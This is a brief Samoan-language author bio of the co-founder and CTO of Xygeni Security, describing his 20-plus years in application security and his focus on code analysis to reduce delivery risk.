Lui Rodriguez o le Fa'avae Fa'atasi ma le CTO i le Xygeni Security. Faatasi ai ma le 20+ tausaga i le puipuiga o talosaga, ua taula'i atu o ia i le puipuiga o le AppSec ma agava'a fa'apitoa o le au'ili'iliga o tulafono e fesoasoani ai i 'au e fa'aitiitia le lamatiaga moni o le tu'uina atu.




